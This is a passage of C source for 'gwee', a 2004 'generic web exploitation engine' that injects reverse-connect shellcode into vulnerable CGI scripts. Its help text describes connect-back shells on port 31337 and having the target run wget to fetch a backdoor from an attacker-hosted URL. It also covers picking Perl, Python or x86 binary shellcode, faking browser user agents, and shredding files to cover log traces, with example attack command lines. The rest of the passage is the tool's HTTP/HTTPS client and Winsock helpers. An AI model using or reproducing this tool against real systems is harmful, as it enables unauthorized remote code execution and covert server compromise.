493 "furnished to do so, subject to the following conditions:\n"
494 "\n"
495 "The above copyright notice and this permission notice shall be included in all\n"
496 "copies or substantial portions of the Software.\n"
497 "\n"
498 "THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n"
499 "IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n"
500 "FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n"
501 "AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n"
502 "LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n"
503 "OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n"
504 "SOFTWARE.\n"
505 "\n"
506 "Usage: gwee [options] [target_url]\n"
507 "[target_url] is the full URL to the vulnerable web script, e.g.:\n"
508 "   http://target.tld/cgi-bin/openwebmail/userstat.pl\n"
509 "-h\n"
510 "   This help.\n"
511 "-V\n"
512 "   Print banner and exit.\n"
513 "-y string\n"
514 "   The parameter to insert before the shellcode injection command line is\n"
515 "   inserted. The shellcode is inserted between the values of the -y option and\n"
516 "   the -z option. In POST requests (default behaviour), the -y and -z options\n"
517 "   go into the POST data, not in the URL. In GET and HEAD requests, the \"-y\n"
518 "   <shellcode> -z\" option combination is appended to the URL. If you need to\n"
519 "   add a '?' you can do that either in the URL or as the first char of the -y\n"
520 "   option. By default, -y and -z are empty.\n"
521 "-z string\n"
522 "   String to append after the shellcode injection command. By default, the -z\n"
523 "   string is empty. An example usage of the -y -z option combo would be:\n"
524 "\n"
525 "   $ gwee -H -y '?testvar=' -z '|' target/cgi-bin/test.cgi\n"
526 "\n"
527 "   This will resolve into:\n"
528 "   http://target/cgi-bin/test.cgi?testvar=perl -e \"print <shellcode>\"|\n"
529 "   Of course, you could have done it this way too, same result:\n"
530 "   $ gwee -z '|' 'target/cgi-bin/test.cgi?testvar='\n"
531 "\n"
532 "   $ gwee -y testvar= -z '|' target/cgi-bin/test.cgi\n"
533 "   This will resolve into:\n"
534 "   http://target/cgi-bin/test.cgi\n"
535 "   POST data: testvar=perl -e \"print <shellcode>\"|\n"
536 "-G\n"
537 "   Use HTTP GET instead of POST. This is not recommended since nasty long\n"
538 "   tell-tail strings will end up in the access_log. In order for the whole\n"
539 "   payload to fit into a 1024 byte GET request, the shellcode is split up into\n"
540 "   4 separate requests, all producing nasty logs.\n"
541 "-H\n"
542 "   Use HTTP HEAD instead of POST/GET. Read about -G, the same nasty logs will\n"
543 "   appear on the target and the shellcode will be split into 4 requests.\n"
544 "-l your_ip_or_hostname\n"
545 "   The IP or hostname to have the shellcode connect back to. Hostnames will\n"
546 "   be resolved into IP numbers, since that's the only method used by the\n"
547 "   binary shellcodes.\n"
548 "-p port\n"
549 "   The port to connect back to, default is 31337.\n"
550 "-s #\n"
551 "   Choose which shellcode to install on the target:\n"
552 "       0 = Sabu's Perl shellcode (default if -s is omitted)\n"
553 "       1 = Linux x86 binary\n"
554 "       2 = FreeBSD x86 binary\n"
555 "       3 = NetBSD x86 binary\n"
556 "       4 = Sabu's Python shellcode (the target must have Python installed)\n"
557 "-i #\n"
558 "   Choose shellcode injection method:\n"
559 "       0 = perl -e \"print \\\"<hex>\\\"\" (default if -i is omitted)\n"
560 "       1 = python -c \"__import__(\\\"sys\\\").stdout.write(\\\"<hex>\\\")\"\n"
561 "       2 = printf \"<hex>\"\n"
562 "       3 = echo -ne \"<hex>\" (works only if target's /bin/sh is bash)\n"
563 "-I prefix_path\n"
564 "   Choose a prefix to the shellcode injection method, e.g.:\n"
565 "   -i1 -I /usr/local/bin/\n"
566 "   that would parse it into: /usr/local/bin/python -c ...\n"
567 "   default is empty (the preferred way).\n"
568 "-T %s\n"
569 "   Choose a different temporary filename for the shellcode/backdoor on the\n"
570 "   target than the default.\n"
571 "-a \"user agent string\"\n"
572 "   Choose user agent string, e.g.:\n"
573 "       -a \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"\n"
574 "   If -a is omitted, I'll randomize from %u real user-agent strings.\n"
575 "-v\n"
576 "   Be really verbose, disclose exactly which commands are being executed.\n"
577 "-q\n"
578 "   Be really silent, only output error messages, nothing else.\n"
579 "-L\n"
580 "   Run built-in tcp listener (no need to use \"nc -l\").\n"
581 "-A\n"
582 "   Only listen for incoming connection on -p port, nothing else. Time-out is\n"
583 "   set to no time-out, which can be changed by appending, e.g., -t30 *after*\n"
584 "   the -A (not before). The -A option is just like: nc -l -p port -w timeout\n"
585 "-t seconds\n"
586 "   Time-out in seconds until listener (-L) times out. Default is -t30\n"
587 "   (30 seconds), -t0 means no time-out.\n"
588 "-f\n"
589 "   Simply non-interactive, you don't need to press return to proceed.\n"
590 "-w http://home.of.attacker/reverse_shellcode\n"
591 "   If you specify the -w option, the injection methods won't be used. Instead\n"
592 "   \"wget -Yoff -q -O <bd> <url>\" will be executed on the target to download a\n"
593 "   reverse shellcode/backdoor that will consequently be execute as per usual.\n"
594 "   Use the -d option to dump a shellcode that you can upload somewhere.\n"
595 "-d outfile\n"
596 "   This option will dump shellcode instead of injecting it somewhere. You use\n"
597 "   the -l -p and -s options as usual, but instead of connecting somewhere,\n"
598 "   the generated shellcode will be dumped to a file you specify after the -d.\n"
599 "   Upload this file to a webserver and use it's URL with the -w option.\n"
600 "   For example, this command will dump x86 Linux sishell:\n"
601 "   $ gwee -lyourhostname. -p1337 -s1 -d bd\n"
602 "   $ scp bd leet@host:/wwwroot/\n"
603 "   $ gwee -w http://host/bd -LG -p1337 'target/cgi-bin/vuln.cgi?'\n"
604 "-P\n"
605 "   Preserve the shellcode after injection. Normally, the exploit will send a\n"
606 "   HTTP POST, HEAD or GET request trying to execute \"rm -f %s\"\n"
607 "   This will leave nasty logs even after you wipe yourself from the logs. If\n"
608 "   you know you'll get a shell on a box, use the -P option with the -L option.\n"
609 "   Once connected with -L, it'll automatically send a \"shred -fu ; rm -f\"\n"
610 "   over the connected socket.\n"
611 "-r\n"
612 "   Remove created backdoor file (shellcode) on the target. This is done\n"
613 "   by default, but you still have the choice to explicitly do a remove.\n"
614 "\n"
615 "Examples:\n"
616 "gwee -y 'q=%%3B' -l fubar.org. -p 6666 -L https://target/cgi-bin/vuln.cgi\n"
617 "gwee -y'?cmd=' -z'|' -G -l mydom.tld -p 9000 -s1 -i3 -Lf target/vuln.pl\n"
618 "gwee -y'loginname=%%3B' -l mydom.tld -p80 -Lf https://target/userstat.pl\n"
619 "gwee -A -p 6666 -t0 -q\n",
620            get_revision(rcsid), rcsid, TMPFILE, number_of_agents, TMPFILE);
621 
622     #if ! defined(WITH_SSL)
623         printf("\nThis gwee is NOT compiled with HTTPS support (OpenSSL). Add\n"
624                "\"-DWITH_SSL -lssl -lcrypto\" to your compilation options.\n");
625     #endif
626     exit(1);
627 }
628 
629 
print_banner(void)630 void print_banner(void) {
631 
632   #ifdef WIN32
633     printf("\n"
634            "        !!!\n"
635            "     `  ___  '        gwee for win32\n"
636            "    -  (0 0)  -\n"
637            "-----oOo(_)oOo---------------------------------------- ----- --- -- -  -\n"
638            "gwee %s - generic web exploitation engine\n"
639            "Copyright (C) 2004 Michel Blomgren <michel@cycom.se>\n"
640            "Perl and Python shellcode by Sabu -> http://sabu.net\n"
641            "Acknowledgements: Sabu and Nullbyte\n"
642            "\n", get_revision(rcsid));
643   #else
644     printf("\n"
645            "\033[0;35m        !!!\033[0m\n"
646            "\033[0;35m     `  \033[1;37m___\033[0;35m  '\033[0m\n"
647            "\033[0;35m    -  \033[1;37m(0 0)\033[0;35m  -\033[0m\n"
648            "\033[1;30m-----\033[1;37moOo(_)oOo\033[1;30m---------------------------------------- ----- --- -- -  -\033[0m\n"
649            "\033[0;31mgwee %s\033[1;30m - generic web exploitation engine\033[0m\n"
650            "\033[1;30m\033[0;33mCopyright (C) 2004 Michel Blomgren\033[1;30m <michel@cycom.se>\033[0m\n"
651            "\033[1;30m\033[0;33mPerl and Python shellcode by Sabu\033[1;30m (http://sabu.net)\033[0m\n"
652            "\033[1;30mAcknowledgements: Sabu and Nullbyte\033[0m\n"
653            "\n", get_revision(rcsid));
654   #endif
655     return;
656 };
657 
print_banner_without_colors(void)658 void print_banner_without_colors(void) {
659     printf("gwee %s - generic web exploitation engine\n"
660            "Copyright (C) 2004 Michel Blomgren <michel@cycom.se>\n"
661            "Perl and Python shellcode and expertise by Sabu -> http://sabu.net\n"
662            "%s\n", get_revision(rcsid), rcsid);
663     return;
664 };
665 
666 
667 
668 #ifdef WIN32
669 /* very basic wsastrerror() */
WSAstrerror(DWORD my_wsagetlasterror)670 char *WSAstrerror(DWORD my_wsagetlasterror) {
671     switch (my_wsagetlasterror) {
672         case WSABASEERR:
673             return "WSABASEERR";
674         case WSAEINTR:
675             return "WSAEINTR";
676         case WSAEBADF:
677             return "WSAEBADF";
678         case WSAEACCES:
679             return "WSAEACCES";
680         case WSAEFAULT:
681             return "WSAEFAULT";
682         case WSAEINVAL:
683             return "WSAEINVAL";
684         case WSAEMFILE:
685             return "WSAEMFILE";
686         case WSAEWOULDBLOCK:
687             return "WSAEWOULDBLOCK";
688         case WSAEINPROGRESS:
689             return "WSAEINPROGRESS";
690         case WSAEALREADY:
691             return "WSAEALREADY";
692         case WSAENOTSOCK:
693             return "WSAENOTSOCK";
694         case WSAEDESTADDRREQ:
695             return "WSAEDESTADDRREQ";
696         case WSAEMSGSIZE:
697             return "WSAEMSGSIZE";
698         case WSAEPROTOTYPE:
699             return "WSAEPROTOTYPE";
700         case WSAENOPROTOOPT:
701             return "WSAENOPROTOOPT";
702         case WSAEPROTONOSUPPORT:
703             return "WSAEPROTONOSUPPORT";
704         case WSAESOCKTNOSUPPORT:
705             return "WSAESOCKTNOSUPPORT";
706         case WSAEOPNOTSUPP:
707             return "WSAEOPNOTSUPP";
708         case WSAEPFNOSUPPORT:
709             return "WSAEPFNOSUPPORT";
710         case WSAEAFNOSUPPORT:
711             return "WSAEAFNOSUPPORT";
712         case WSAEADDRINUSE:
713             return "WSAEADDRINUSE";
714         case WSAEADDRNOTAVAIL:
715             return "WSAEADDRNOTAVAIL";
716         case WSAENETDOWN:
717             return "WSAENETDOWN";
718         case WSAENETUNREACH:
719             return "WSAENETUNREACH";
720         case WSAENETRESET:
721             return "WSAENETRESET";
722         case WSAECONNABORTED:
723             return "WSAECONNABORTED";
724         case WSAECONNRESET:
725             return "WSAECONNRESET";
726         case WSAENOBUFS:
727             return "WSAENOBUFS";
728         case WSAEISCONN:
729             return "WSAEISCONN";
730         case WSAENOTCONN:
731             return "WSAENOTCONN";
732         case WSAESHUTDOWN:
733             return "WSAESHUTDOWN";
734         case WSAETOOMANYREFS:
735             return "WSAETOOMANYREFS";
736         case WSAETIMEDOUT:
737             return "WSAETIMEDOUT";
738         case WSAECONNREFUSED:
739             return "WSAECONNREFUSED";
740         case WSAELOOP:
741             return "WSAELOOP";
742         case WSAENAMETOOLONG:
743             return "WSAENAMETOOLONG";
744         case WSAEHOSTDOWN:
745             return "WSAEHOSTDOWN";
746         case WSAEHOSTUNREACH:
747             return "WSAEHOSTUNREACH";
748         case WSAENOTEMPTY:
749             return "WSAENOTEMPTY";
750         case WSAEPROCLIM:
751             return "WSAEPROCLIM";
752         case WSAEUSERS:
753             return "WSAEUSERS";
754         case WSAEDQUOT:
755             return "WSAEDQUOT";
756         case WSAESTALE:
757             return "WSAESTALE";
758         case WSAEREMOTE:
759             return "WSAEREMOTE";
760         case WSAEDISCON:
761             return "WSAEDISCON";
762         case WSASYSNOTREADY:
763             return "WSASYSNOTREADY";
764         case WSAVERNOTSUPPORTED:
765             return "WSAVERNOTSUPPORTED";
766         case WSANOTINITIALISED:
767             return "WSANOTINITIALISED";
768         case WSAHOST_NOT_FOUND:
769             return "WSAHOST_NOT_FOUND";
770         case WSATRY_AGAIN:
771             return "WSATRY_AGAIN";
772         case WSANO_RECOVERY:
773             return "WSANO_RECOVERY";
774         case WSANO_DATA:
775             return "WSANO_DATA";
776         default:
777     	    return "Unknown winsock error";
778     }
779 }
780 /*
781  * init_winsock() initializes wsock32.dll (under win32 that is)
782  */
init_winsock(void)783 void init_winsock(void) {
784     WORD wVersionRequested;
785     static WSADATA wsaData;
786     float socklib_ver;
787 
788     wVersionRequested = MAKEWORD(1,1);
789     if (WSAStartup(wVersionRequested, &wsaData)) {
790         fprintf(stderr, "[?] WSAStartup: %s\n", WSAstrerror(WSAGetLastError()));
791         exit(1);
792     }
793     /* check if winsock DLL supports 1.1 (or higher) */
794     socklib_ver = HIBYTE(wsaData.wVersion) / 10.0;
795     socklib_ver += LOBYTE(wsaData.wVersion);
796     if (socklib_ver < 1.1) {
797         fprintf(stderr, "[?] socket library must support 1.1 or higher\n");
798         WSACleanup();
799         exit(1);
800     }
801     return;
802 }
803 #endif
804 
805 
806 /*
807  * mini-wwwclient
808  */
809 
810 /* how long time in seconds select may block before bumping out */
811 #define httpclient_recv_timeout         3
812 
813 #define httpclient_err_empty_url        1
814 #define httpclient_err_empty_method     2
815 #define httpclient_err_empty_useragent  3
816 #define httpclient_err_empty_data       4
817 #define httpclient_err_no_auth          5
818 #define httpclient_err_bad_url          6
819 #define httpclient_err_bad_method       7
820 #define httpclient_get                  8
821 #define httpclient_post                 9
822 #define httpclient_head                 10
823 #define httpclient_http                 11
824 #define httpclient_https                12
825 
httpclient(char * method,char * xUrl,char * useragent,char * data,int issilent)826 int httpclient(char *method, char *xUrl, char *useragent, char *data, int issilent) {
827 /*
828  * tiny http client
829  * method is either "GET", "POST" or "HEAD"
830  * xUrl is the URL (null-terminated)
831  * useragent is a valid User-Agent string
832  * data is a null-terminated string of data for POST requests only
833  */
834     char xbuf[4096];
835     char slash[] = "/";
836     char protocolstr[] = "://";
837     char protocol1[] = "http:";
838 #if defined(WITH_SSL)
839     char protocol2[] = "https:";
840 #endif
841 
842 #ifdef WIN32
843     SOCKET sd;
844 #else
845     int sd;
846 #endif
847 
848     int sopt, a, type;
849 
850 #if defined(WITH_SSL)
851     int protocol = httpclient_http;
852 #endif
853     struct sockaddr_in servAddr;
854     struct sockaddr_in connectAddr;
855     struct hostent *Xhe;
856 
857     char *hcHostname;
858     char *hcPort_ascii;
859     unsigned int hcPort = 80;
860 
861     char *request;
862     char *tempp;
863 
864 
865     if (verbose && !issilent) {
866         printf("[i] httpclient(\"%s\", \"%s\", \"%s\", \"%s\", %u);\n",
867         method, xUrl, useragent, data, issilent);
868     }
869 
870 
871     /* do some usage checking first */
872     if (!xUrl) {
873         if (!issilent)
874             fprintf(stderr, "[?] url can't be empty\n");
875         #ifdef WIN32
876             WSACleanup();
877         #endif
878         exit(1);
879         //return httpclient_err_empty_url;
880     }
881     if (!method) {
882         if (!issilent)
883             fprintf(stderr, "[?] null method specified, must be either GET, HEAD or POST\n");
884         #ifdef WIN32
885             WSACleanup();
886         #endif
887         exit(1);
888         //return httpclient_err_empty_method;
889     }
890     if (!useragent) {
891         if (!issilent)
892             fprintf(stderr, "[?] null user-agent specified\n");
893         #ifdef WIN32
894             WSACleanup();
895         #endif
896         exit(1);
897         //return httpclient_err_empty_useragent;
898     }
899 
900     /* url can't be empty */
901     if (!strlen(xUrl)) {
902         if (!issilent)
903             fprintf(stderr, "[?] url can't be empty\n");
904         #ifdef WIN32
905             WSACleanup();
906         #endif
907         exit(1);
908         //return httpclient_err_empty_url;
909     }
910 
911     /* figure out method to use */
912     if (!strcasecmp(method, "GET")) {
913         type = httpclient_get;
914     } else if (!strcasecmp(method, "POST")) {
915         type = httpclient_post;
916         if (!data) {
917             if (!issilent)
918                 fprintf(stderr, "[?] POST method specified, but no data to post\n");
919             #ifdef WIN32
920                 WSACleanup();
921             #endif
922             exit(1);
923             //return httpclient_err_empty_data;
924         }
925     } else if (!strcasecmp(method, "HEAD")) {
926         type = httpclient_head;
927     } else {
928         if (!issilent)
929             fprintf(stderr, "[?] method %s not recognized\n", method);
930         #ifdef WIN32
931             WSACleanup();
932         #endif
933         exit(1);
934         //return httpclient_err_bad_method;
935     }
936 
937     /* make sure we don't have an @ in the url */
938     a = 0;
939     while (xUrl[a]) {
940         if (xUrl[a] == '@') {
941             if (!issilent)
942                 fprintf(stderr, "[?] url can't contain \"@\", I can't handle AUTH (yet)\n");
943             #ifdef WIN32
944                 WSACleanup();
945             #endif
946             exit(1);
947             //return httpclient_err_no_auth;
948         }
949         a++;
950     }
951 
952     if (!(tempp = strstr(xUrl, protocolstr))) {
953         tempp = xUrl;
954     } else {
955         #if defined WITH_SSL
956             if (!strncasecmp(xUrl, protocol1, strlen(protocol1))) {
957                 protocol = httpclient_http;
958             } else if (!strncasecmp(xUrl, protocol2, strlen(protocol2))) {
959                 protocol = httpclient_https;
960                 /*
961                  * changing hcPort here is safe, if another port is specified
962                  * (after ':') it's changed further ahead
963                  */
964                 hcPort = 443;
965             } else {
966                 if (!issilent)
967                     fprintf(stderr, "[?] HTTP and HTTPS are the only supported protocols!\n");
968                 #ifdef WIN32
969                     WSACleanup();
970                 #endif
971                 exit(1);
972                 //return httpclient_err_bad_url;
973             }
974         #else
975             if (strncasecmp(xUrl, protocol1, strlen(protocol1))) {
976                 if (!issilent)
977                     fprintf(stderr, "[?] this gwee is only compiled with HTTP support, no other protocol!\n");
978                 #ifdef WIN32
979                     WSACleanup();
980                 #endif
981                 exit(1);
982                 //return httpclient_err_bad_url;
983             }
984         #endif
985         tempp += strlen(protocolstr);
986     }
987 
988     if (!isalnum(tempp[0])) {
989         if (!issilent)
990             fprintf(stderr, "[?] bad url\n");
991         #ifdef WIN32
992             WSACleanup();
993         #endif
994         exit(1);
995         //return httpclient_err_bad_url;
996     }
997 
998     /*
999      * extract hostname part of URL
1000      */
1001     a = 0;
1002     while (tempp[a]) {
1003         if ((!isalnum(tempp[a])) && (tempp[a] != '.') && (tempp[a] != '-') && (tempp[a] != '_'))
1004             break;
1005         a++;
1006     }
1007 
1008     /* allocate special buffer for hostname (hcHostname) */
1009     if (!(hcHostname = malloc(a+1))) {
1010         if (!issilent)
1011             fprintf(stderr, "[?] can't allocate memory: %s\n", strerror(errno));
1012         #ifdef WIN32
1013             WSACleanup();
1014         #endif
1015         exit(1);
1016         //return -1;
1017     }
1018     strncpy(hcHostname, tempp, a);
1019     hcHostname[a] = 0;
1020 
1021     if (!strlen(hcHostname)) {
1022         if (!issilent)
1023             fprintf(stderr, "[?] host part in URL is empty\n");
1024         #ifdef WIN32
1025             WSACleanup();
1026         #endif
1027         exit(1);
1028         //return httpclient_err_bad_url;
1029     }
1030 
1031     tempp = &tempp[a];
1032 
1033     a = 0;
1034     if (tempp[a] == ':') {
1035         /* IMPORTANT! a == 1 initially, not 0, very important! */
1036         a++;
1037 
1038         while (isdigit(tempp[a])) {
1039             a++;
1040         }
1041         if (!(hcPort_ascii = malloc(a))) {  /* a is already strlen+1 */
1042             if (!issilent)
1043                 fprintf(stderr, "[?] can't allocate memory: %s", strerror(errno));
1044             #ifdef WIN32
1045                 WSACleanup();
1046             #endif
1047             exit(1);
1048             //return -1;
1049         }
1050         strncpy(hcPort_ascii, tempp+1, a-1);
1051         hcPort_ascii[a-1] = 0;
1052 
1053         hcPort = atoi(hcPort_ascii);
1054 
1055         if ((hcPort < 1) || (hcPort > 65535)) {
1056             fprintf(stderr, "[?] port in URL is not within the range 1-65535\n");
1057             #ifdef WIN32
1058                 WSACleanup();
1059             #endif
1060             exit(1);
1061             //return -1;
1062         }
1063     }
1064 
1065     request = &tempp[a];
1066 
1067     if (!strlen(request)) {
1068         request = slash;
1069     }
1070 
1071     /*
1072      * connect
1073      */
1074 
1075     if (!(Xhe = gethostbyname(hcHostname))) {
1076         if (!issilent) {
1077             fprintf(stderr, "[?] %s: %s\n", hcHostname,
1078             #ifdef WIN32
1079             WSAstrerror(WSAGetLastError())
1080             #else
1081             hstrerror(h_errno)
1082             #endif
1083             );
1084         }
1085 
1086         #ifdef WIN32
1087             WSACleanup();
1088         #endif
1089         exit(1);
1090         //return -1;
1091     }
1092 
1093     servAddr.sin_family = Xhe->h_addrtype;
1094     memcpy(&servAddr.sin_addr.s_addr, Xhe->h_addr_list[0], Xhe->h_length);
1095     servAddr.sin_port = htons((short)hcPort);
1096 
1097     #ifdef WIN32
1098         if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
1099     #else
1100         if ((sd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
1101     #endif
1102         if (!issilent)
1103             fprintf(stderr, "[?] socket(): %s\n",
1104             #ifdef WIN32
1105             WSAstrerror(WSAGetLastError())
1106             #else
1107             strerror(errno)
1108             #endif
1109             );
1110         #ifdef WIN32
1111             WSACleanup();
1112         #endif
1113         exit(1);
1114         //return -1;
1115     }
1116 
1117 
1118     /* if source port > 0, then we use bind() to choose a user-specified source port */
1119     if (sourceport) {
1120         if ((sourceport < 1) || (sourceport > 65535)) {
1121             if (!issilent) {
1122                 fprintf(stderr, "[?] source port is not in the range 1-65535!\n");
1123             }
1124             #ifdef WIN32
1125                 WSACleanup();
1126             #endif
1127             exit(1);
1128             //return -1;
1129         }
1130 
1131         sopt = 1;
1132         connectAddr.sin_family = AF_INET;
1133         connectAddr.sin_addr.s_addr = htonl(INADDR_ANY);
1134         connectAddr.sin_port = htons(sourceport);
1135 
1136         /* set REUSEADDR socket option */
1137         #ifdef WIN32
1138           if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char*)&sopt, sizeof(sopt))) {
1139         #else
1140           if (setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (void*)&sopt, sizeof(sopt))) {
1141         #endif
1142             if (!issilent) {
1143                 fprintf(stderr, "[?] setsockopt(): %s\n", strerror(errno));
1144             }
1145             #ifdef WIN32
1146                 WSACleanup();
1147             #endif
1148             exit(1);
1149             //return -1;
1150         }
1151 
1152         /* bind to custom source port */
1153         if (bind(sd, (struct sockaddr*)&connectAddr, sizeof(connectAddr))) {
1154             if (!issilent) {
1155                 fprintf(stderr, "[?] bind() to port %i: %s\n", sourceport,
1156                 #ifdef WIN32
1157                 WSAstrerror(WSAGetLastError())
1158                 #else
1159                 strerror(errno)
1160                 #endif
1161                 );
1162             }
1163             #ifdef WIN32
1164                 WSACleanup();
1165             #endif
1166             exit(1);
1167             //return -1;
1168         }
1169     }
1170 
1171 
1172     if ((!issilent) && verbose) {
1173         printf("[i] connecting to %s (%s) on port %u\n", hcHostname, inet_ntoa(*((struct in_addr*)Xhe->h_addr_list[0])), hcPort);
1174     }
1175 
1176     if (connect(sd, (struct sockaddr *)&servAddr, sizeof(servAddr)) < 0) {
1177         if (!issilent)
1178             fprintf(stderr, "[?] connect() to %s:%u: %s\n", inet_ntoa(*((struct in_addr*)Xhe->h_addr_list[0])), hcPort,
1179             #ifdef WIN32
1180             WSAstrerror(WSAGetLastError())
1181             #else
1182             strerror(errno)
1183             #endif
1184             );
1185         #ifdef WIN32
1186             WSACleanup();
1187         #endif
1188         exit(1);
1189         //return -1;
1190     }
1191 
1192     #if defined(WITH_SSL)
1193         if (protocol == httpclient_https) {
1194             /**** we're connected, start ssl negotiation ****/
1195 
1196             if (!(ssl = SSL_new(sslctx))) {
1197                 if (!issilent) {
1198                     fprintf(stderr, "[?] SSL_new(): %s\n", ERR_reason_error_string(ERR_get_error()));
1199                 }
1200                 #ifdef WIN32
1201                     closesocket(sd);
1202                     WSACleanup();
1203                 #else
1204                     close(sd);
1205                 #endif
1206                 exit(1);
1207                 //return -1;
1208             }
1209             if (!SSL_set_fd(ssl, sd)) {
1210                 if (!issilent) {
1211                     fprintf(stderr, "[?] SSL_set_fd(): %s\n", ERR_reason_error_string(ERR_get_error()));
1212                 }
1213                 #ifdef WIN32
1214                     closesocket(sd);
1215                 #else
1216                     close(sd);
1217                 #endif
1218                 SSL_free(ssl);
1219                 #ifdef WIN32
1220                     WSACleanup();
1221                 #endif
1222                 exit(1);
1223                 //return -1;
1224             }
1225             if (SSL_connect(ssl) <= 0) {
1226                 if (!issilent) {
1227                     fprintf(stderr, "[?] SSL_connect(): %s\n", ERR_reason_error_string(ERR_get_error()));
1228                 }
1229                 #ifdef WIN32
1230                     closesocket(sd);
1231                 #else
1232                     close(sd);
1233                 #endif
1234                 SSL_free(ssl);
1235                 #ifdef WIN32
1236                     WSACleanup();
1237                 #endif
1238                 exit(1);
1239                 //return -1;
1240             }
1241 
1242             if ((!issilent) && verbose) {
1243                 printf("[i] ssl connection using cipher %s\n", SSL_get_cipher(ssl));
1244             }
1245 
1246             /**** get server certificate ****/
1247 
1248             if (!(peer_cert = SSL_get_peer_certificate(ssl))) {
1249                 if (!issilent) {
1250                     fprintf(stderr, "[?] %s:%u (%s) did not present a certificate!\n",
1251                         hcHostname, hcPort, inet_ntoa(*((struct in_addr*)Xhe->h_addr_list[0])));
1252                 }
1253                 SSL_shutdown(ssl);
1254                 #ifdef WIN32
1255                     closesocket(sd);
1256                 #else
1257                     close(sd);
1258                 #endif
1259                 SSL_free(ssl);
1260                 #ifdef WIN32
1261                     WSACleanup();
1262                 #endif
1263                 exit(1);
1264                 //return -1;
1265             }
1266 
1267             /**** print certificate information ****/
1268 
1269             if ((!issilent) && verbose) {
1270                 unsigned int mdsha_size;
1271                 unsigned char mdsha[EVP_MAX_MD_SIZE];
1272 
1273                 printf("[i] target certificate information:\n");
1274                 printf("... subject: %s\n", X509_NAME_oneline(X509_get_subject_name(peer_cert), 0, 0));
1275                 printf("... issuer: %s\n", X509_NAME_oneline(X509_get_issuer_name(peer_cert), 0, 0));
1276 
1277                 if (!X509_digest(peer_cert, EVP_md5(), mdsha, &mdsha_size)) {
1278                     if (!issilent) {
1279                         fprintf(stderr, "[?] X509_digest\n");
1280                     }
1281                     X509_free(peer_cert);
1282                     SSL_shutdown(ssl);
1283                     #ifdef WIN32
1284                         closesocket(sd);
1285                     #else
1286                         close(sd);
1287                     #endif
1288                     SSL_free(ssl);
1289                     #ifdef WIN32
1290                         WSACleanup();
1291                     #endif
1292                     exit(1);
1293                     //return -1;
1294                 }
1295             }
1296 
1297             /* free peer_cert allocated by SSL_get_peer_certificate() above */
1298             X509_free(peer_cert);
1299 
1300             /**** end of SSL negotiation ****/
1301         }
1302     #endif
1303 
1304 
1305     /*
1306      * send request
1307      */
1308 
1309     if (type == httpclient_get) {
1310         snprintf(xbuf, sizeof(xbuf),
1311             "GET %s HTTP/1.1\r\n"
1312             "User-Agent: %s\r\n",
1313             request, useragent);
1314         if (hcPort == 80) {
1315             snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1316                 "Host: %s\r\n", hcHostname);
1317         } else {
1318             snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1319                 "Host: %s:%u\r\n", hcHostname, hcPort);
1320         }
1321         snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1322             "Pragma: no-cache\r\n"
1323             "Connection: close\r\n"
1324             "\r\n");
1325     } else if (type == httpclient_post) {
1326         snprintf(xbuf, sizeof(xbuf),
1327             "POST %s HTTP/1.1\r\n"
1328             "User-Agent: %s\r\n",
1329             request, useragent);
1330         if (hcPort == 80) {
1331             snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1332                 "Host: %s\r\n", hcHostname);
1333         } else {
1334             snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1335                 "Host: %s:%u\r\n", hcHostname, hcPort);
1336         }
1337         snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1338             "Pragma: no-cache\r\n"
1339             "Connection: close\r\n"
1340             "Content-Length: %u\r\n"
1341             "Content-Type: application/x-www-form-urlencoded\r\n"
1342             "\r\n",
1343             strlen(data));
1344     } else if (type == httpclient_head) {
1345         snprintf(xbuf, sizeof(xbuf),
1346             "HEAD %s HTTP/1.1\r\n"
1347             "User-Agent: %s\r\n",
1348             request, useragent);
1349         if (hcPort == 80) {
1350             snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1351                 "Host: %s\r\n", hcHostname);
1352         } else {
1353             snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1354                 "Host: %s:%u\r\n", hcHostname, hcPort);
1355         }
1356         snprintf(&xbuf[strlen(xbuf)], (sizeof(xbuf)-strlen(xbuf)),
1357             "Pragma: no-cache\r\n"
1358             "Connection: close\r\n"
1359             "\r\n");
1360     } else {
1361         #if defined WITH_SSL
1362             if (protocol == httpclient_https) {
1363                 SSL_shutdown(ssl);
1364                 #ifdef WIN32
1365                     closesocket(sd);
1366                 #else
1367                     close(sd);
1368                 #endif
1369                 SSL_free(ssl);
1370             } else {
1371                 #ifdef WIN32
1372                     closesocket(sd);
1373                 #else
1374                     close(sd);
1375                 #endif
1376             }
1377         #else
1378             #ifdef WIN32
1379                 closesocket(sd);
1380             #else
1381                 close(sd);
1382             #endif
1383         #endif
1384         #ifdef WIN32
1385             WSACleanup();
1386         #endif
1387         exit(1);
1388         //return httpclient_err_bad_method;
1389     }
1390 
1391 
1392     #if defined(WITH_SSL)
1393         if (protocol == httpclient_https) {
1394             SSL_write(ssl, xbuf, strlen(xbuf));
1395             if (type == httpclient_post)
1396                 SSL_write(ssl, data, strlen(data));
1397         } else {
1398             send(sd, xbuf, strlen(xbuf), 0);
1399             if (type == httpclient_post)
1400                 send(sd, data, strlen(data), 0);
1401         }
1402     #else
1403         send(sd, xbuf, strlen(xbuf), 0);
1404         if (type == httpclient_post)
